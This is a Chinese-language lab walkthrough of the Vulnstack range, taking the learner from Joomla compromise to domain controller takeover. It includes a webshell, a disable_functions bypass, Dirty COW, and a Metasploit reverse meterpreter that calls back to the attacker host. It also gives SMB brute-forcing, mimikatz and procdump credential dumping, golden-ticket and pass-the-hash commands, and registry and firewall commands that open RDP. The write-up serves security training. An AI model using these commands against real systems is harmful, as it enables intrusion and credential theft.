参考:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
几个靶机IP信息
web-centos:两张网卡 外网一定要配置到NAT 之前傻逼了配的桥接导致出不了网
外网IP 192.168.255.130 内网IP 192.168.93.100 web-ubuntu:内网IP:192.168.93.120
windows7: 内网IP :192.168.93.30 win-2008: 192.168.93.20 win-2012DC: 192.168.93.10
刚开始用的桥接 ,直接访问到的100 下面的就假装centos外网IP是192.168.93.100了
信息收集
先nmap扫一下
开放有 80、3306、22还有个514被过滤了。
访问80端口是一个web页面
有一个登录页面 尝试了一下sql注入不行,弱密码可以跑一下的 这里我就没去跑了
用dirscann 直接扫描一下目录
这有一个1.php页面 是phpinfo 的信息
得到一些有用的信息,获取到组件信息 像是低于Joomla3.9版本
去网上找了下找到一个rce 不过需要管理员才能执行
外网打点
想着有没有文件泄露能获取一些有用的信息
之前扫出来的这个页面为Joomla的配置页面
http://192.168.93.100/configuration.php
不过直接访问是空的 要加个~
这里得到一个账号密码
public $user = 'testuser'; public $password = 'cvcvgjASD!@'
然后尝试登录管理后台,这里失败了
http://192.168.93.100/administrator/index.php
又想到又mysql端口开放尝试一下 说不定是mysql的账号
果然
漏洞利用
在Joomla数据库里面寻找user表
最后找到am2zu_users表
密码是加密过的,直接拿去登录是失败的,第一时间想到的是新建一个管理员用户再去登录
184 Super User admin test@test.com $2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy 0 1 2019-10-06 13:44:16 2019-10-06 14:31:54 0 0000-00-00 00:00:00 0 0
Navicat很方便 我们直接在这点+号去insert就好了
但是是登录失败
我尝试写入自己的邮箱 通过这里邮箱找回密码功能来获得能用的密码,但是好像这个功能不可用
想想这个加密的密码把,这种格式不知道是用什么加密的
md5加密
去Joomla官网找一下帮助 看看有没有密码方面的信息
果然这里有一个关于如何恢复或重置管理员密码的页面
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
这里给出了三个md5加密后的密码,还是带盐的
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT - secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 - OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
那我们把密码改成admin对应的加密,然后试试
然后还是不行,看了一会发现user表有几个,然后我增加的是umnbt_user,还有一个am2zu_users,
直接把里面的administrator 密码改成admin
ok终于进后台了
找有没有文件上传的地方,找到一个上传更新包的地方,试了下不能成功
再找找 这里有一个修改文件的地方,直接把index文件改成了冰蝎马
找到文件路径
然后连接上来
disable_function() bypass
进来后执行命令失败,反弹msf失败,上传文件失败,tmd就没权限是吧
把报错信息拿去搜索,发现是这个function设置问题
果然在禁用列表里面
去找一下functions bypass的方法,这里就直接用中国蚁剑来bypass了
需要去插件市场下载插件,记得把蚁剑代理到VPN挂上,不然访问不了
然后连接处右键选择插件启动
ok传了一个.antproxy.php上去,然后尝试来连接代理的木马文件
G 连不上,检查一下看到确实有这个文件
这里有很多种绕过的姿势 在尝试下其他的
这个 Backtrace UAF成功了,获得了一个shell
内网横向
这里看到ip是 192.168.93.120,是内网的IP了
arp -a 查看缓存的arp表IP与MAC地址的映射关系
这里看到了192.168.93.100 很奇怪
看到了120在和100建立连接
netstat -anplt
那么有没有一种可能,120的100的代理主机,我们打进来的得到的并不是100的shell,而是100的反向代理服务器120.
(正常是对100的另外一个公网IP进行收集打点的,我这里配置是桥接,就暂且当作是100的公网IP进来的)
这里是一台ubuntu机器,果然和前面phpinfo里面看到的一样
随便翻翻找找看咯
这里/tmp/mysql下面有一个test.txt
看到了一个用户和密码,不会是100的账户密码吧(/doge)
adduser wwwuser
passwd wwwuser_123Aqx
拿下web服务器 centos
那么可以试试ssh来连接100,这里因为是在同个局域网 是能访问的,真实环境下连接100的公网IP应该也是可以的
ok 进来过后看看内核和IP
这台就是反向代理的主机本机了,但是我们是一个地权限用户,得提权
我试了一下新的CVE-2022-0847和CVE-2021-4034(这个要用pyhton3运行,这里没有),然后都失败了
还是试试脏牛把
上传本地文件到远程主机
scp -r dirty.c wwwuser@192.168.93.100:/tmp
脏牛成功编译执行
gcc -pthread dirty.c -o dirty -lcrypt
https://github.com/FireFart/dirtycow
成功提权
之前因为配置问题 现在重新配置了外网NAT,现在100的外网应该是192.168.255.130
(web服务器一定是双网卡的,一张应该是NAT能和外网通信,一张是主机为内网网卡,踩坑了)
然后配置msf上线,采用上次的用 msfvenom 生成木马运行上线这里报分段错误
这次试试另外一种方法直接在msf里面上线
use exploit/multi/script/web_delivery set lhost 192.168.255.128 set lport 7869 set target 7 set payload linux/x64/meterpreter/reverse_tcp run
这里的targets是设置当前所选漏洞影响的操作系统
socks代理内网扫描
在使用session 6后 我们在msf上 background回到msf
然后添加一个route路由
route add 192.168.93.0 255.255.255.0 sessionID route print
使用msf的multi模块来进行sockt代理
use auxiliary/server/socks_proxy set version 4a
run
最后需要给100主机上传一个proxychains包去安装代理
安装可以参考 安装教程
然后再修改配置文件
最后一行加上我们代理的kali和端口
vi /etc/proxychains.conf
然后使用scnner模块去扫描
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-255 set threads 20 run
因为内存问题我没有开win2008,所以扫描出的是 30 win7,10 win2012
开了2008后扫出了1433 mssql端口
直接用nmap扫一下win7:192.168.93.30
可以看到开放了445 139等端口
开放了445端口可以尝试一下用scanner模块SMB远程登录爆破
use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set PASS_FILE /root/Desktop/SMB.txt 设置字典路径
set SMBUser administrator 设置爆破用户名
run
这里应该是设置30,输错了
成功爆破了win7的弱密码
administrator:123qwe!ASD
扫描192.168.93.10
msf代理到本地winodws
这里操作windows可以用proxifier把socket代理到windows上,然后能去访问内网
(因为这里是物理机 有该环境的内网93网卡,所以不走代理也能通的;真实环境是需要走代理的)
拿下域成员windows7 192.168.93.30
用net use远程映射到win7
net use \\ip地址\ipc$ 密码 /user:用户名 建立IPC非空链接
net use h: \\ip地址\c$ 密码 /user:用户名 直接登陆后映射对方C:到本地为H盘:
去搞个PsExec工具,连接上后就能用工具提权生成一个cmd回来
mimikatz
传mimikatz过去
file_dir \\IP\c$\Users\administrator\Desktop
查看
然后使用mimikatz抓密码 看看
mimikatz.exe privilege::debug sekurlsa::logonpasswords
这里发现没有TEST domain的密码 ,只有win7用户的hash
可以用log生成mimikatz的日志文件
因为配置环境的时候没有登录过这两台windosw,假设用域管账号去登录过后再试试看
额 还是没有抓到,有点难受
。。。。
这里还用了procdump来dump hash下来配合mimikatz分析也是一样的结果,mimikatz是直接从内存中抓取lsass,容易被杀软拦
这种方式能过一些杀软,因为procdump是微软的工具 用他dump下来lsass再给mimikatz分析
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
只能试试其他方法了
PTT 黄金票据传递
生成黄金票子再导入
kerberos::golden /admin:test\administrator /domain:TEST.org /sid: S-1-5-21-1528753600-3951244198-520479113-502 /krbtgt:571bcade06358cf8ea77e8418e857355 /ticket:golden.kiribi
执行命令
....... 失败了,暂时还不是很懂
mimikatz利用NTLM 来hash传递
sekurlsa::pth /domain:TEST /user:win7\administrator /ntlm:bb6b48766fb280d74babb50e781bbc21
....................
这时想到windows2008 开放了1433端口,用msf去试一下爆破
账号这时候想到之前泄露的mysql账号拿去试一下
这里需要一个中继来监听到win2008与win7的连接信息,这里用Responder来监听
https://github.com/lgandx/Responder
但是这个要python3的环境,我给centos用ssh传了安装包去配置后又缺失一些库,然后网络不可达安装了不了,
去官网下载whl文件下来也不能安装,就导致一直运行不了(太坑了,web服务器不能出网下载,给配置运行的python环境缺少库什么的)
msf上能执行,会触发UNC
如果监听上是能获取到2008的hash的
假设抓到了hash
破解出密码是:123qwe!ASD
.......
拿下windows2008 192.168.93.20
net use映射过去
还是用PsExec 获取一个cmd
然后抓密码
成功抓到了域控再在2008上登录的密码
拿下域控
net use连接域控
net use \\192.168.93.10\ipc$ zxcASDqw123!! /user:administrator
打开3389端口
开3389
开启3389端口的命令: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 关闭3389端口的命令: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f 将开启3389端口命令中的“00000000”改成“11111111”就是关闭。 也可以通过这个cmd命令开启3389端口: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
结果连接不上!!
想着是不是需要关闭防火墙
netsh advfirewall set allprofiles state off
终于连上了
找到flag
总结
总的来说对于萌新的我来说过程艰辛,主要是内网那块对于票据,hash NTML这些不是很熟悉,后面还是需要继续学习mimikatz这些东西。
学习之路,少就是多,慢就是快~~
参考链接:https://xz.aliyun.com/t/6988#toc-2
https://www.i4k.xyz/article/weixin_46684578/118685782